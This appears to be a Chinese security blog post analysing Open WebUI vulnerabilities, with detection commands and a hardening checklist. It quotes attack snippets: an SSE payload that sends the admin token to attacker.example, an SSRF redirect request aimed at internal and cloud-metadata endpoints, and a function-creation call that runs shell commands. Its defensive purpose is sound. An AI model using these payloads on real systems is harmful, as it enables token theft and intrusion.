只填了个模型地址,5 秒就被接管——Open WebUI 攻击链拆解与「被拒 CVE」的坑

你以为 Open WebUI 只是个"自己搭的 ChatGPT 网页",接几个模型连接就完事。真实情况是:它公网活跃实例超过 1.7 万个,是扫描器眼里的高价值目标;而在一个真实攻击链里,你只要在设置里加了一个模型服务地址,受害者随便发一条消息,5 秒内管理员令牌就会被偷走、接着变成任意命令执行。

这篇把 Open WebUI 的安全面按"真漏洞 / 被厂商驳回的伪漏洞 / 设计内行为"三类拆开,给出最完整的那条利用链、三步检测命令、12 项加固清单,以及一个中文圈普遍踩的错误认知。先给结论:90% 的实际失陷不是被 0-day 打穿,而是"无认证 + 直接暴露公网 + 保留管理员"这套错配。

TL;DR

  1. 最完整的一条链是 CVE-2025-64496:前端对模型服务返回的 SSE execute 事件直接 new Function(code) 执行,攻击者用一条伪造流即可偷走管理员令牌,再调 /api/v1/functions/create 落地任意 Python,官方 PoC 全程不到 5 秒。
  2. 一批 SSRF 与越权洞(CVE-2025-65958、CVE-2026-45400/45401、CVE-2026-34222、CVE-2026-54015)已修复,升级到对应版本即可。
  3. 另一批"RCE"(CVE-2026-0765/0766)厂商判定为插件系统的预期行为,明确拒绝修复;把它们当漏洞写进预案,方向就错了。
  4. 真实在野攻击打的不是软件漏洞,而是错配:默认开放注册、保留默认管理员、直接映射到公网。
  5. 三条检测命令判断你是否中招:未登录能否读 /api/config、后台有没有陌生 Tool/Function、有没有异常出网与挖矿进程。

一、先给结论:三类风险,先修哪个

Open WebUI 的安全资料很乱,原因是把三类完全不同的东西混在一起说。先分类,才知道力气往哪使。

类别 代表编号 性质 你该做的
真漏洞(已修复) CVE-2025-64495、64496、65958、65959、CVE-2026-45400、45401、54015、34222 代码缺陷,官方已发补丁 升级,这是唯一正解
被厂商驳回的伪漏洞 CVE-2026-0765、0766(ZDI-26-031/032) 厂商定性为插件系统预期行为,拒绝修复 按"设计内行为"处理:管住权限,而不是等补丁
设计内行为 任意 Tool / Function 代码执行 平台明确的功能 授予建 Tool 权限等于给出 shell,按这个前提做权限设计

这张表的意义在于:只有第一类能靠升级解决。第二、三类要靠权限与网络设计解决,等补丁永远等不到。

二、最完整的一条链:恶意模型服务器,5 秒拿到 RCE

CVE-2025-64496 是这批漏洞里链条最完整、也最值得精读的一个(受影响版本 ≤ 0.6.34,修复于 0.6.35,Cato CTRL 评分 CVSS 7.3)。

脆弱点在哪

前端处理模型服务返回的流式事件时,对 execute 类型的事件直接当代码跑。官方公告给出的原文片段是:

js 复制代码
if (event.type === 'execute') {
    const func = new Function(event.data.code);
    await func();
}

公告对这一行的标注是 CRITICAL: Unsafe code execution。也就是说,模型服务这个"外部输入"可以直接往浏览器里送一段 JS 执行。

攻击怎么落地

攻击者不需要攻破 Open WebUI,只需要自己起一个"兼容 OpenAI 的模型服务",在 SSE 流里塞一段载荷:

css 复制代码
data: {"event": {"type": "execute", "data": {"code": "fetch('http://attacker.example/steal?t=' + localStorage.token)"}}}

触发条件也很轻:管理员在「设置 → 连接」里启用了 Direct Connections 并加入了攻击者地址,之后任何一位受害者发一条消息 即触发。公告特别指出,被窃取的 token 在默认配置下是长期有效的(expires_at: null)。

从偷 token 到执行命令

拿到管理员 token 之后,攻击者调用函数接口创建一段 Python:

bash 复制代码
POST /api/v1/functions/create
{"id": "auto_exploit_<ts>", "name": "Auto Exploit", "content": "<含 subprocess.check_output(..., shell=True) 的 Python 源码>", "meta": {...}}

官方 PoC 的时间线是:第 0 秒受害者发消息,第 3 秒 token 外泄,第 4 秒拿到管理员权限并验证,注释里写着 Total time: < 5 seconds from first message。

这条链给所有 AI 平台运营者的教训是:模型服务地址不是"可信配置",它是外部输入。 只要你允许填任意 Base URL,就等于允许对方往你的浏览器里投递代码。

三、另外几条必须知道的链

其余已修复的漏洞,按被利用的难易排一下:

编号 类型 受影响版本 修复版本 一句话根因
CVE-2025-64495 存储型 DOM XSS → 账户接管 → RCE ≤ 0.6.34 0.6.35 提示词正文被塞进 innerHTML 且未净化,别人运行对应 / 命令时触发
CVE-2025-65958 SSRF < 0.6.37 0.6.37 /api/v1/retrieval/process/web 接受任意 URL,可打云元数据与内网
CVE-2025-65959 存储型 XSS ≤ 0.6.36 0.6.37 Notes 导入 Markdown 内嵌恶意 SVG,下载 PDF 时窃取会话 token
CVE-2026-45401 SSRF 绕过 ≤ 0.9.4 0.9.5 HTTP 3xx 重定向未逐跳复验,web-fetch / 图片加载 / 聊天链路都可打内网
CVE-2026-45400 SSRF 绕过 < 0.9.5 0.9.5 urlparse 与 requests 的解析差异绕过私网校验
CVE-2026-34222 越权 < 0.8.11 0.8.11 Tool Valves 端点缺读权限校验,低权限成员可读到 Tool 里的第三方 API Key
CVE-2026-54015 IDOR < 0.9.6 0.9.6 提示词版本历史只校验 URL 里的 prompt_id,未校验 history_id 归属

CVE-2026-45401 的 PoC 值得单独看一眼,因为它普通用户就能打:

bash 复制代码
POST /api/v1/retrieval/process/web
{"url": "https://httpbin.org/redirect-to?url=http%3A%2F%2Flocalhost%3A8080%2Fapi%2Fconfig&status_code=302"}

响应体里直接带出内网 /api/config 的内容。把重定向目标换成 http://<cloud-metadata-ip>/latest/meta-data/(云厂商元数据服务的链路本地地址),就是标准的云元数据窃取。更省事的一条是走聊天链路:普通 /api/chat/completions 里把 image_url 指向攻击者的重定向器,服务端拉图时会跟随 302 进内网,默认配置、无需管理员权限。

四、真实在野攻击:不打漏洞,打错配

比漏洞更值得警惕的,是已经被观测到的实网攻击。安全厂商 Sysdig 记录的一起事件里,攻击者入口不是软件缺陷,而是**"默认无认证 + 直接暴露公网 + 保留管理员"的错配组合**。

攻击手法很典型:

  1. 通过 Tools 插件系统上传伪装成默认模板的 Python 脚本,用混淆器处理,数据编码成多层递归 Base64。
  2. 外联走 Discord webhook 作为 C2 通道。
  3. 落地 T-Rex / XMRig 挖矿程序与信息窃取模块。
  4. Linux 上通过 LD_PRELOAD 载入 processhider / argvhider 隐藏痕迹,并伪装成名为 ptorch_updater 的 systemd 服务常驻。

暴露面数据也支持这个判断:公开测绘显示 Open WebUI 公网活跃实例超过 1.7 万个,针对某个已修复漏洞的中文情报测绘甚至统计到全球关联风险资产 11 万个以上、IP 2.4 万个。

一句话:这类系统不该出现在公网上。 官方安全文档的定位写得很清楚:Open WebUI 是面向私有可信网络的内部工具。

五、检测:三步判断你是否中招

bash 复制代码
curl -s http://<your-host>:8080/api/config | head -c 200          # 未登录能否读到配置
curl -s http://<your-host>:8080/api/models | head -c 200          # 与模型列表(读到 = 无认证暴露)
curl -s http://<your-host>:8080/api/v1/functions | head -c 400    # 有没有陌生的插件被创建
ss -tnp | grep -E "discord|:443"                                   # 异常出站
systemctl list-units --type=service | grep -iE "ptorch|updater"    # 伪装成系统服务
ps -eo pid,ppid,comm,args | grep -v grep | grep -iE "xmrig|t-rex|LD_PRELOAD"   # 挖矿与隐藏进程

判断要点:/health 未认证返回 200 属于正常设计,不能 当作中招依据;真正要看的是未登录能否读到 /api/config、/api/models、/api/v1/functions。另外要记住一个容易忽略的点:在没有部署 Redis 的情况下,登出或改密并不会吊销已签发的 JWT(默认有效期 4 周),也就是说被盗的 token 会一直能用,这一点得靠审计登录日志来发现。

这三步之所以够用,是因为它们分别对应失陷的三个必要条件:入口 (无认证暴露)、落地 (陌生插件)、维持 (挖矿与隐藏进程)。三者里任何一个为真,都要立刻按应急顺序处理:先断公网入口,再轮换 WEBUI_SECRET_KEY(这个 key 既签 JWT、又派生 OAuth 加密密钥,泄露等于可以伪造任意令牌),然后清掉陌生插件,最后才去翻日志复盘。顺序反了,证据会被洗掉,事后无法判断对方进来多久、拿走了什么。

六、加固清单:12 项,按优先级排

下面的清单以官方加固指南为准,按"先堵最致命的"排序。

# 加固项 具体做法 堵住什么
1 升级到修复版本 64496/64495 → ≥0.6.35;65958/65959 → ≥0.6.37;45400/45401 → ≥0.9.5;54015 → ≥0.9.6;34222 → ≥0.8.11 已公开的全部真漏洞
2 网络隔离 放 VPN / 防火墙后,前面加反代做限流;绝不直接暴露公网 在野扫描与错配攻击
3 关掉开放注册 首个用户注册后关闭注册;必须开放时用 DEFAULT_USER_ROLE=pending 走管理员审批 陌生人自助进入
4 显式设置签名密钥 WEBUI_SECRET_KEY=$(openssl rand -base64 32),多实例共用同一 key 密钥泄露可伪造任意令牌
5 收紧会话 Cookie WEBUI_SESSION_COOKIE_SECURE=true、WEBUI_SESSION_COOKIE_SAME_SITE=strict 会话劫持
6 部署 Redis 支持令牌吊销 让登出、改密、停用即时失效;同时缩短 JWT_EXPIRES_IN 被盗 token 长期有效
7 收窄 CORS 默认是 *,改成自有域;不需要时指到 .invalid 跨站读取接口
8 打开安全响应头 显式开启 X-Content-Type-Options、X-Frame-Options=DENY、HSTS、CSP(先 report-only) SVG / 富文本类 XSS
9 关掉代码执行类开关 ENABLE_CODE_EXECUTION=false、ENABLE_CODE_INTERPRETER=false、ENABLE_PIP_INSTALL_FRONTMATTER_REQUIREMENTS=false 插件侧命令注入
10 管住建 Tool 权限 workspace.tools 对非管理员关闭;按"给 shell"的严重度对待 设计内行为被滥用
11 容器与主机隔离 --security-opt=no-new-privileges、数据目录 0700、只跑官方镜像;对云元数据地址段做出口限制 提权与元数据窃取
12 开审计并转发 打开 METADATA 级审计日志接入 SIEM,监控 CPU / 内存 / 出网异常 挖矿类失陷的早期发现

第 9、10 项是最容易被忽略的:很多人把"能装插件"当成普通功能开关,实际上在一个多用户实例里,它等价于把命令执行能力开放给所有被授权者。

七、一个重要提醒:别把"设计内行为"当漏洞

中文圈里流传最广的一个错误,是把 Open WebUI 的插件代码执行当成"未修复的高危 RCE"。事实是,安全厂商 ZDI 确实把两处提权为命令注入(CVE-2026-0765 把 frontmatter 里的 requirements 拼进 pip 安装命令、CVE-2026-0766 在加载 Tool 模块时执行用户提供的内容),CVSS 3.0 评到 8.8,并以 0-day 形式公开。

但 Open WebUI 官方明确反驳并拒绝修复,定性为插件系统的预期行为:一个被授予"提交插件"权限的用户,本来就能按平台设计提交可执行代码。

这个分歧对你有实际影响:如果你的加固预案里写着"等官方修复 CVE-2026-0765/0766",这个计划永远不会生效。 正确的动作是把权限模型当成安全边界:谁能建 Tool、谁不能,谁能跑 Function、谁不能。官方文档说得很直白,授予建 Tool 权限相当于给出 shell。

另外提醒一句时效问题:中文检索到的一些 Open WebUI 编号(例如曾被广泛引用的 CVE-2025-15603、CVE-2025-63391 及 2024-7033 系列中的部分条目)已被厂商或 CNNVD 撤回(REJECTED)。引用前先去官方 advisory 或 NVD 核对状态,别拿撤回编号写预案。

八、启示

  1. 模型服务地址是外部输入,不是可信配置。 只要允许填任意 Base URL,对方就能往你的浏览器投递代码。
  2. 失陷的主因是错配,不是 0-day。 无认证 + 公网 + 默认管理员,这三样凑齐,打不打漏洞都能进来。
  3. 区分"真漏洞 / 被拒伪漏洞 / 设计内行为"。 只有第一类能靠升级解决,另外两类只能靠权限设计。
  4. 插件权限等于 shell 权限。 多用户实例里,这是最该被审计的一项配置。
  5. 没有 Redis,token 偷走就收不回。 吊销能力本身也是一项安全配置。

原始出处

本文首发于 CSDN 专栏《人工智能Agent从部署到生产》。

相关推荐
starrysky8101 小时前
明明在赋值前读取,为什么还报 UnboundLocalError?——从 CPython 符号表拆解函数级作用域
angular.js
大雄很用心8 天前
package.json 中的 dependencies 是否都会被下载?|Angular 回归笔记 02
angular.js
starrysky8108 天前
同一个 submit(),两条报错——ThreadPoolExecutor 在解释器退出时的竞态(附 4 组可复现实验)
angular.js
starrysky8108 天前
30 个 CPU 全在内核态,只回收了 32 个页——per-memcg 内存回收的 mmap_lock 活锁
angular.js
starrysky81022 天前
一个 NameError 掩盖了真根因:IPython 补全在 Django shell 里二次崩溃——从 jedi 版本错位查到 CPython LOAD_GLOBAL
angular.js
starrysky81022 天前
SQL 注入 + msgpack 反序列化 = RCE:LangGraph Checkpointer 三洞连爆——Agent 的记忆层就是攻击面
angular.js
starrysky81022 天前
NVD 9.8、官方 7.5:Redis TLS use-after-free 的评分之争——tlsProcessPendingData 悬指针踩空全解析
angular.js
巴勒个啦1 个月前
2026 年 CSS 选型真相:我用 Tailwind v4 + 原生新特性重构了一个组件库
前端·angular.js
starrysky8101 个月前
服务全绿、队列却 15 天没人消费?redis-py 8.0 默认切 RESP3 的阻塞命令坑
angular.js